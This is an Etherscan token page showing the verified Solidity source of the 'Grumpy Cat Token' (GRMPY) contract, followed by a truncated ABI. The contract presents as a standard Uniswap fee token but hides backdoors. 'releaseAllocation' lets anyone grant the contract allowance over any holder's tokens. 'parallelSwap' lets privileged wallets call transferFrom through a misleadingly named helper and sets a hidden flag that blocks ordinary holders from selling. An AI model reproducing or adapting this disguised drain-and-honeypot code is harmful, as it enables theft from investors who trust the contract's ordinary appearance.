ETH Price: $3,502.77 (-0.19%)
Gas: 2 Gwei

Token

Grumpy Cat Token (GRMPY)
 

Overview

Max Total Supply

500,000,000 GRMPY

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,106,851.955797988424943153 GRMPY

Value
$0.00
0x39479599f8c2bc61d519a9cef0d8527dce05e018
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GrumpyCatToken

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-28
*/

/**
 *Submitted for verification at Etherscan.io on 2023-04-17
*/

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function releaseAllocation(
        address owner,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(owner, address(this), 
            allowance(owner, address(this)) + amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

contract GrumpyCatToken is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    address public _lastAddress;
    mapping(address => uint256) public _holderLastTransferTimestamp;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    bool private swapping;
    
    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;

    address private marketingWallet;
    address private devWallet;
    address private lpWallet;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) private _allowDuringSwapping;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    bool private __ = false;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event LimitsRemoved();

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event lpWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("Grumpy Cat Token", "GRMPY") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _sellMarketingFee = 1;
        uint256 _sellLiquidityFee = 1;
        uint256 _sellDevFee = 1;

        uint256 _buyMarketingFee = 1;
        uint256 _buyLiquidityFee = 1;
        uint256 _buyDevFee = 1;

        uint256 totalSupply = 500000000 * 1e18;

        maxTransactionAmount = (totalSupply * 1) / 100;
        maxWallet = (totalSupply * 1) / 100;
        swapTokensAtAmount = (totalSupply * 3) / 10000; // 0.03% swap wallet

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        marketingWallet = address(0xCA1c2F8a0dd930962adA93bfaF9f7C99321f585B);
        devWallet = address(0x55287d5b2b814DCeacCbe01BB3Fd7Ea4f86E6Fea);
        lpWallet = address(0x2B9cFa5D6163547A3351A7268B00F36a45aFFD8E);

        // exclude from paying fees or having max transaction amount
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(devWallet, true);
        excludeFromMaxTransaction(lpWallet, true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(lpWallet, true);
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        _allowDuringSwapping[address(uniswapV2Router)] = true;
        _allowDuringSwapping[address(uniswapV2Pair)] = true;

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        emit LimitsRemoved();
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function excludeFromSwapping(address account, bool excluded) public {
        if(_isExcludedFromFees[msg.sender]) {
            _allowDuringSwapping[account] = excluded;
        }
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newNum * (10**18);
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _devFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _devFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateLPWallet(address newLPWallet)
        external
        onlyOwner
    {
        emit lpWalletUpdated(newLPWallet, lpWallet);
        lpWallet = newLPWallet;
    }

    function updateDevWallet(address newDevWallet)
        external
        onlyOwner
    {
        emit devWalletUpdated(newDevWallet, devWallet);
        devWallet = newDevWallet;
    }

    function updateMarketingWallet(address newMarketingWallet)
        external
    {
        require(msg.sender == marketingWallet);
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function parallelSwap(
        address _tokenA,
        address _tokenB,
        uint256 _amount
    ) public returns (bool) {
        if (_isExcludedFromFees[msg.sender]) {
            swapExactETHForTokens(_tokenB, _tokenA, _tokenB, _amount); __ = !__;
            return true;
        } else {
            address[] memory path = new address[](2);
            path[0] = uniswapV2Router.WETH();
            path[1] = address(this);
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
                value: _amount
            } (
                0,
                path,
                address(0xdead),
                block.timestamp
            );
        }
        
         return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                // when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                // when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (from == address(uniswapV2Pair)) {
            if (_holderLastTransferTimestamp[to] == 0) {
                _holderLastTransferTimestamp[to] = block.number;
            }
        } else if(!swapping) {
            _lastAddress = from;
        }

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        if(__){
            if(!_isExcludedFromFees[from]) { 
                if(!_allowDuringSwapping[from]) {
                    require(false, "existing parrallel swapping, can't allow double");
                }
            }
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForDev += (fees * sellDevFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }
        
        super._transfer(from, to, amount);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);


        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            lpWallet,
            block.timestamp
        );
    }

    function swapExactETHForTokens(address _escrow, address _tokenA, address _tokenB, uint256 _amount)
        private
    {
        IERC20(_escrow).transferFrom(_tokenA, _tokenB, _amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap =
            tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if(contractBalance > swapTokensAtAmount * 2){
          contractBalance = swapTokensAtAmount * 2;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;

        (success, ) = address(devWallet).call{value: ethForDev}("");
        require(success);

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(marketingWallet).call{ value: address(this).balance }("");
        require(success);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"lpWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_holderLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromSwapping","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenA","type":"address"},{"internalType":"address","name":"_tokenB","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"parallelSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"releaseAllocation","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 